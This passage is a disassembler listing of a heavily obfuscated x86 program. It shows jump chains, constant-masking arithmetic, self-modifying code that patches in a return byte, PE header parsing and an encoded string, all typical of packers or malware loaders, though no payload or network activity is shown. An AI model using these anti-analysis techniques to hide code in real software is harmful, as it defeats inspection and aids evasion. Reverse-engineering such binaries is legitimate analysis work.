; FUNCTION CHUNK AT 00445D16 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		jmp	loc_4404B5
sub_43D686	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43D695:				; CODE XREF: sub_43F4C9-2ACEj
		xor	eax, 10A9D907h
		or	eax, 8BDBA6A4h
		xor	eax, 2D587661h
		add	eax, ebp
		add	eax, 59787571h
		push	offset loc_43CD36
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CDCE

loc_43D6B9:				; CODE XREF: sub_43CDCE:loc_43CDD4j
		add	eax, 0C35DA4AAh
		xchg	eax, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43CDCE
; ---------------------------------------------------------------------------

locret_43D6C7:				; CODE XREF: kgbikm34:004497ABj
		retn
; ---------------------------------------------------------------------------

loc_43D6C8:				; CODE XREF: kgbikm34:004477FBj
		jmp	loc_4443AC
; ---------------------------------------------------------------------------

locret_43D6CD:				; CODE XREF: kgbikm34:loc_43EC57j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481BC

loc_43D6CE:				; CODE XREF: sub_4481BC+Fj
		mov	ebp, eax
		xchg	ebp, [esp+0]
		push	5DD3C803h
		pop	eax
		rol	eax, 10h
		xor	eax, 265CA6A0h
		jmp	loc_44106B
; END OF FUNCTION CHUNK	FOR sub_4481BC
; ---------------------------------------------------------------------------

loc_43D6E7:				; DATA XREF: kgbikm34:loc_44B378o
		call	sub_44BA42
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43D6EC:				; CODE XREF: sub_44D21F-735Aj
		mov	eax, 5BE2C7B9h
		push	offset loc_44E050
		jmp	loc_445EE1
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		jmp	loc_44C57B
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		push	eax

loc_43D704:				; CODE XREF: kgbikm34:0043BC6Cj
		call	sub_438C33

loc_43D709:				; CODE XREF: kgbikm34:0044877Aj
		rol	edi, 18h
		add	edi, 7F98C949h
		xchg	edi, [esp]
		jmp	sub_440F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_43D71A:				; CODE XREF: sub_4407E7:loc_44C726j
		mov	eax, [eax]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_448661
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_43D72C:				; CODE XREF: sub_43FD63+Fj
		inc	dword ptr [ebp-24h]
		jmp	loc_44A488
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_43D734:				; CODE XREF: sub_437B11+7j
					; sub_44739D-CD0Ej ...
		mov	eax, [ebp-10h]
		mov	esp, ebp
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_4462BE
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
		sub	ebx, ecx
		sbb	ecx, esi
		jmp	sub_43C04F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]
		db 89h
		dd 0FFFFEF43h, 8B240487h, 48B58D0h
; ---------------------------------------------------------------------------
		and	al, 52h
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_43D75B:				; CODE XREF: sub_44368F+2CCFj
		push	0BA61DF12h
		jmp	loc_43D5D5
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------

loc_43D765:				; CODE XREF: kgbikm34:loc_44D710j
		jz	loc_43E492
; START	OF FUNCTION CHUNK FOR sub_44B18D

loc_43D76B:				; CODE XREF: sub_44B18D-3F6Ej
		jmp	loc_43A388
; END OF FUNCTION CHUNK	FOR sub_44B18D
; ---------------------------------------------------------------------------
		add	eax, ebp
		jmp	loc_43E48C

; =============== S U B	R O U T	I N E =======================================



sub_43D777	proc near		; CODE XREF: sub_4407A7+8j
					; sub_43CECD:loc_44C39Bp
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		xor	eax, eax
		retn
sub_43D777	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D77F:				; CODE XREF: kgbikm34:0044AE96j
		jmp	loc_442BA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43D784:				; CODE XREF: sub_439587-8C6j
		jmp	loc_446CE8
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_43D789:				; DATA XREF: sub_43CECD+54B0o
		xor	eax, eax
		jmp	loc_444B96
; ---------------------------------------------------------------------------
		xor	esi, 4C87301Bh
		jmp	sub_44A64C
; ---------------------------------------------------------------------------
		push	offset loc_4418B2
		jmp	loc_43D95C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2C1

loc_43D7A5:				; CODE XREF: sub_44B2C1+10j
		and	eax, 0A8A37F72h
		add	eax, 3133F2AFh

loc_43D7B1:				; CODE XREF: kgbikm34:0044992Fj
		xor	eax, 2133FF0Ch
		push	offset loc_445D90
		jmp	nullsub_238
; END OF FUNCTION CHUNK	FOR sub_44B2C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4467D1

loc_43D7C1:				; CODE XREF: sub_4467D1+Aj
		mov	byte ptr [esi],	87h
		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		xor	esi, 0F647D554h
		push	ecx
		jmp	loc_43F810
; END OF FUNCTION CHUNK	FOR sub_4467D1
; ---------------------------------------------------------------------------

loc_43D7D6:				; CODE XREF: kgbikm34:loc_43B457j
		mov	eax, 0B4B93D2h
		call	sub_43BF6F
		push	offset loc_44ADA1
		jmp	loc_44D137
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_43D7EA:				; CODE XREF: sub_448291-F828j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		push	offset sub_43AF95
		jmp	loc_43CDD9
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_43D7FA:				; CODE XREF: sub_4494B1:loc_43A057j
		pop	edx
		sub	edx, ds:4000F9h
		or	edx, 0E7F316BAh
		rol	edx, 0Fh
		add	edx, 471DCCE2h
		add	edx, ebp
		add	edx, 0DD62BB21h
		jmp	loc_43C59E
; END OF FUNCTION CHUNK	FOR sub_4494B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_43D81E:				; CODE XREF: sub_444D26+6j
		jmp	loc_4427A6
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------

loc_43D823:				; CODE XREF: kgbikm34:00443FD8j
		jmp	loc_4492D5
; ---------------------------------------------------------------------------
		jo	loc_446515
		jmp	sub_439DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_43D833:				; CODE XREF: sub_43DFA4:loc_44D003j
		rol	edx, 18h
		xor	edx, 583242BBh
		add	edx, 0BAB39317h
		xor	edx, 0DE452B1Bh
		push	offset sub_44BF4C
		jmp	nullsub_213
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; ---------------------------------------------------------------------------

loc_43D852:				; CODE XREF: kgbikm34:0044A925j
		xchg	esi, edi

loc_43D854:				; CODE XREF: kgbikm34:loc_44A919j
		add	edi, 0DB8E233h
		popf
		xchg	edi, [esp]
		jmp	sub_4471CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43D863:				; CODE XREF: sub_439609+9DEAj
		jnz	loc_442BF6
		jmp	loc_4455DC
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43D86E:				; CODE XREF: sub_440834+1437j
		ror	edi, 13h

loc_43D871:				; CODE XREF: sub_440834:loc_43AC62j
		push	0
		push	edx
		push	55E45201h
		pop	edx
		sub	edx, 8AA020C0h
		jmp	loc_4452D3
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
		and	ebx, 26855DD4h
		jmp	sub_44A987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43D890:				; CODE XREF: sub_4394EB+84AFj
		test	esi, 0FE7A7FE7h

loc_43D896:				; CODE XREF: kgbikm34:loc_446AA3j
		jmp	loc_438590
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------

loc_43D89B:				; CODE XREF: kgbikm34:0043C3B4j
		xor	eax, edi
		jmp	loc_437569
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_43D8A2:				; CODE XREF: sub_43FD63+CD91j
		push	0
		push	0
		call	sub_442798
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_442676
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C56B

loc_43D8B6:				; CODE XREF: sub_43C56B:loc_4484A7j
		add	edi, 85C60E02h
		xchg	edi, [esp+4+var_4]
		jmp	loc_440FEA
; END OF FUNCTION CHUNK	FOR sub_43C56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_43D8C4:				; CODE XREF: sub_437B11+Dj
		jge	loc_44908A
		jmp	loc_441394
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_43D8CF:				; CODE XREF: sub_44087D+C3Bj
		jbe	loc_44B427
		or	esi, 4E20E71Ah
		jmp	loc_43DCBC
; END OF FUNCTION CHUNK	FOR sub_44087D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43D8E0:				; CODE XREF: sub_43C55C:loc_43DA5Bj
		js	loc_44B212
; END OF FUNCTION CHUNK	FOR sub_43C55C
; START	OF FUNCTION CHUNK FOR sub_43B2CF

loc_43D8E6:				; CODE XREF: sub_43B2CF+7j
		jmp	loc_43C1A6
; END OF FUNCTION CHUNK	FOR sub_43B2CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF95

loc_43D8EB:				; CODE XREF: sub_43AF95+6j
		jmp	loc_441E7F
; END OF FUNCTION CHUNK	FOR sub_43AF95
; ---------------------------------------------------------------------------
		adc	ebp, 9640E5C0h
		jge	loc_44D4B6
		jmp	loc_44B212
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43D901:				; CODE XREF: sub_440141:loc_43974Fj
		rol	edi, 1Ch
		add	edi, 0D5F9FECEh
		add	edi, ebp
		call	sub_4395BB

loc_43D911:				; CODE XREF: sub_4383B9+8757j
		jmp	sub_43C99B
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------

loc_43D916:				; DATA XREF: sub_43B051:loc_446608o
		mov	eax, [ebp-4]

loc_43D919:				; CODE XREF: kgbikm34:loc_43BFEEj
		mov	[ebp-0Ch], eax
		xor	eax, eax
		mov	[ebp-8], eax

loc_43D921:				; CODE XREF: kgbikm34:loc_43BF6Aj
		jnz	loc_442D32
		jmp	loc_43F6F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397E2

loc_43D92C:				; CODE XREF: sub_4397E2+6B31j
		pop	edi
		lea	eax, sub_44BBC0
		mov	byte ptr [eax],	0C3h
		jmp	sub_44BBC0
; END OF FUNCTION CHUNK	FOR sub_4397E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_43D93B:				; CODE XREF: sub_44BBC0+1j
		mov	eax, [esp+0]
		push	edx
		push	ebx
		push	21E515C5h
		pop	ebx
		jmp	loc_44DD39
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------

loc_43D94B:				; CODE XREF: kgbikm34:00447BEEj
		test	edi, 229EAB34h
		jmp	loc_43C340
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D957:				; CODE XREF: kgbikm34:004459DDj
		jmp	loc_44AE37
; ---------------------------------------------------------------------------

loc_43D95C:				; CODE XREF: kgbikm34:0043D7A0j
		jmp	locret_44280D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F77F

loc_43D961:				; CODE XREF: sub_43F77F+14j
		add	ebx, 2337A1BEh
		and	ebx, 7101C320h
		jnz	loc_43CB2E
		mov	esi, [ebx]
		jmp	loc_43CB22
; END OF FUNCTION CHUNK	FOR sub_43F77F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_43D97A:				; CODE XREF: sub_444681:loc_447200j
		jl	loc_43E186

loc_43D980:				; CODE XREF: sub_444A81+7753j
		jmp	loc_4477C7
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

loc_43D985:				; CODE XREF: kgbikm34:0043B268j
		jmp	sub_440443
; ---------------------------------------------------------------------------
		or	ebx, ebp
		jmp	loc_43E17E
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E18C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		dd 0D85D83h, 0BD89E800h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471CC

loc_43D9A2:				; CODE XREF: sub_4471CC+5j
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_4471CC

; =============== S U B	R O U T	I N E =======================================



sub_43D9A7	proc near		; DATA XREF: sub_43E34D-3F65o
		xchg	edi, [esp+0]
		mov	ebp, edi
		pop	edi
		retn
sub_43D9A7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_43D9AE:				; CODE XREF: sub_43C267-1976j
		jmp	loc_43E989
; END OF FUNCTION CHUNK	FOR sub_43C267

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9B3	proc near		; CODE XREF: sub_44B991-123EAj
					; kgbikm34:loc_43BD3Cp	...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		jmp	loc_439A3D
sub_43D9B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43D9BF:				; CODE XREF: sub_441D2F+12j
		xor	eax, 0FFEA525Ch
		or	eax, 3F00BC7h
		add	eax, 0FC44E685h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_437632
		jmp	loc_4486CC
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43D9E0:				; CODE XREF: sub_44B20C-C32Aj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43EB87
		jmp	loc_43CE4B
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------

loc_43D9F4:				; CODE XREF: kgbikm34:00440C61j
		mov	[edi], eax
		pop	edi
		lea	eax, sub_44B6E1
		push	offset sub_44E114
		jmp	locret_43E198
; ---------------------------------------------------------------------------
		xor	eax, 0A6E67B86h
		jmp	sub_44DBAC
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_4468D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43DA19:				; CODE XREF: sub_44B6E1+2A41j
		xchg	ecx, [esp+4+var_4]
		push	offset loc_443484
		jmp	loc_44046D
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------

loc_43DA26:				; DATA XREF: sub_44C198-5D27o
		add	esi, 3246D63Bh
		xchg	esi, [esp]
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43DA34:				; CODE XREF: sub_44A1A6-10EC0j
		jnz	loc_43BC15

loc_43DA3A:				; CODE XREF: sub_44A1A6:loc_439AF8j
		add	esi, 2068B917h
		xchg	esi, [esp+0]
		jmp	loc_445F5E
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_43DA49:				; CODE XREF: sub_439274+108D5j
		jmp	loc_44B0A0
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43DA4E:				; CODE XREF: sub_448C95-C278j
		jmp	loc_442A8A
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------

loc_43DA53:				; CODE XREF: kgbikm34:004420A8j
		test	edi, ebx
		jmp	loc_43E3DD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43DA5B:				; CODE XREF: sub_43C55C+DECAj
		jmp	loc_43D8E0
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43DA60:				; CODE XREF: sub_43D494+96D3j
		jmp	loc_43A093
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_43F4F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43DA6B:				; CODE XREF: sub_4394EB+6j
					; sub_43DC42-164Ej ...
		ror	eax, 0Eh
		xor	eax, 0B00F52A5h
		call	sub_44CF08

loc_43DA79:				; CODE XREF: sub_445F82+7j
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B57E

loc_43DA7E:				; CODE XREF: sub_44B57E:loc_44D7D7j
		xchg	esi, [esp+4+var_4]
		jmp	loc_443E7C
; END OF FUNCTION CHUNK	FOR sub_44B57E
; ---------------------------------------------------------------------------

loc_43DA86:				; DATA XREF: sub_43BCAD+2FE6o
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_44D0EF
; ---------------------------------------------------------------------------

loc_43DA92:				; CODE XREF: kgbikm34:0044AB1Ej
		jno	loc_4383E5
; START	OF FUNCTION CHUNK FOR sub_440380

loc_43DA98:				; CODE XREF: sub_440380:loc_44100Cj
		rol	eax, 5
		add	eax, 643CCDC9h
		call	sub_43BF6F
		xor	eax, 0A6971620h
		push	offset loc_44B3B3
		jmp	nullsub_296
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43DABC:				; CODE XREF: sub_43B932-23F4j
		call	sub_43E016

loc_43DAC1:				; CODE XREF: kgbikm34:0044DFF5j
		jmp	loc_4393C5
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_43DAC6:				; CODE XREF: sub_444681+67E5j
		and	edx, 2DC41A62h
		xor	edx, 0E15D0A96h
		call	sub_442E25
		mov	eax, [esp+0]
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

loc_43DAE0:				; CODE XREF: kgbikm34:00438396j
		jmp	loc_43A9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_43DAE5:				; CODE XREF: sub_44CF08+7j
		xor	eax, 0E5A7A9E7h
		call	sub_44D831

loc_43DAF0:				; CODE XREF: kgbikm34:0044BFFAj
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 5Eh
		db 0BBh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43DAFB	proc near		; CODE XREF: sub_44114F+68Dp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044320A SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		mov	eax, [esp-8+arg_4]
		jmp	loc_44320A
sub_43DAFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DB08:				; CODE XREF: kgbikm34:0043A5BDj
		test	edi, ebx
		jmp	loc_439564
; ---------------------------------------------------------------------------

loc_43DB0F:				; DATA XREF: kgbikm34:00437237o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B383
		jmp	loc_43C444
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43DB1D:				; CODE XREF: sub_440E0B+75C9j
		add	esi, 50A1B6D9h
		test	ecx, 0D90A75E4h
		jmp	loc_43D362
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

loc_43DB2E:				; CODE XREF: kgbikm34:00448DDDj
		jnz	loc_437234
		jmp	loc_44A82B
; ---------------------------------------------------------------------------

loc_43DB39:				; CODE XREF: kgbikm34:00438F29j
		or	edx, esi

loc_43DB3B:				; CODE XREF: kgbikm34:loc_44CF20j
		push	4A075E05h
		pop	eax
		or	eax, 4F6540D4h
		jmp	loc_445438
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_43DB4C:				; CODE XREF: sub_44DAE4-12999j
		adc	ebx, 0B9456F9Ch
		add	ebx, 0EEC80B97h
		jmp	loc_43E283
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------

loc_43DB5D:				; CODE XREF: kgbikm34:00448C06j
		xor	edx, ecx
		jmp	loc_4370A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_43DB64:				; CODE XREF: sub_440F78:loc_43A0D6j
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	offset sub_43A9AA
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_440F78
; ---------------------------------------------------------------------------

loc_43DB72:				; DATA XREF: sub_437B32+13CEDo
		call	sub_43B5BA
		jnz	loc_44C8C7
		mov	eax, ebx
		jmp	loc_44C547
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_43DB84:				; CODE XREF: sub_444A5E:loc_444A67j
		mov	ecx, [ebx+3Ch]
		jmp	loc_44B30A
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_43DB8C:				; CODE XREF: kgbikm34:0044C8BEj
		pop	eax
		push	edi
		push	268FB195h
		pop	edi
		rol	edi, 16h
		xor	edi, 0CB024774h
		jmp	loc_44A0C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	ecx, 0EABD0534h
		jmp	loc_43CCCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43DBAE:				; CODE XREF: kgbikm34:loc_443633j
					; sub_449D78:loc_447086j
		jz	loc_442003
		jmp	loc_443417
; END OF FUNCTION CHUNK	FOR sub_449D78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43DBBA	proc near		; CODE XREF: sub_44087D+4p

; FUNCTION CHUNK AT 00437837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E7EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044853C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BE04 SIZE 0000000B BYTES

		mov	eax, ds:dword_4480C4
		or	eax, eax
		jnz	loc_44211A
		jmp	loc_437837
sub_43DBBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_43DBCD:				; CODE XREF: sub_43EFE3+3j
		mov	edx, ecx
		pop	ecx
		jnb	loc_446344
		mov	eax, [esp+0]
		jmp	loc_43791F
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------

loc_43DBDE:				; CODE XREF: kgbikm34:0044BCC5j
		not	edi
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43DBE0:				; CODE XREF: sub_440443:loc_44C999j
		rol	eax, 0Fh
		add	eax, 5B69997h
		call	sub_43BF6F
		push	edx
		push	8C7D2169h
		pop	edx
		or	edx, 0F85A1564h
		jmp	loc_446FA6
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_43DC00:				; CODE XREF: kgbikm34:00443284j
		jge	sub_440E52

; =============== S U B	R O U T	I N E =======================================



sub_43DC06	proc near		; CODE XREF: kgbikm34:loc_449C2Cp

; FUNCTION CHUNK AT 0044ABB6 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, 400h
		call	sub_446779
		jmp	loc_44ABB6
sub_43DC06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DC19	proc near		; CODE XREF: kgbikm34:004425BEp
					; kgbikm34:004439EEj

; FUNCTION CHUNK AT 00439A58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E211 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004430BD SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		mov	edx, eax
		jmp	loc_439A58
sub_43DC19	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43DC2A:				; CODE XREF: sub_449F77+2CAj
		jb	sub_442F26
		xor	ecx, edi
		jmp	loc_442264
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43DC37:				; CODE XREF: sub_44B20C:loc_43C7A2j
		jz	loc_43EB87
		jmp	loc_44D06B
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_43DC42	proc near		; CODE XREF: sub_449F77:loc_44A6FAp
					; kgbikm34:0044AB5Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437851 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00438BA9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00438E60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043922C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043B464 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C5E2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E200 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E4FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F3A5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440975 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004421BB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004446E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446A84 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044766F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004485DE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044895E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448DC0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B9FD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044D948 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		push	962F38D7h
		pop	ecx
		and	ecx, 6D2C7F69h
		jmp	loc_44895E
sub_43DC42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DC58:				; CODE XREF: kgbikm34:00439677j
		add	ebx, edi
		push	2A9AE60Dh
		jmp	loc_44CA98
; ---------------------------------------------------------------------------

loc_43DC64:				; CODE XREF: kgbikm34:0044A16Dj
		sub	eax, edx
		xchg	esi, [edi]
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43DC68:				; CODE XREF: sub_449F77:loc_44A14Fj
		call	sub_43A77E

locret_43DC6D:				; CODE XREF: sub_44BBC0:loc_43AEEEj
		retn
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		pushf
		push	ebx
		jmp	sub_43E6EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445317

loc_43DC75:				; CODE XREF: sub_445317+Fj
		push	edx
		call	sub_445A5E
		mov	eax, 475BA966h
		call	sub_4400C7
		push	offset aRhYJzB2jBW ; "Rh YÕjZÑÂʼ2JºÂ	-W"
		jmp	loc_441B99
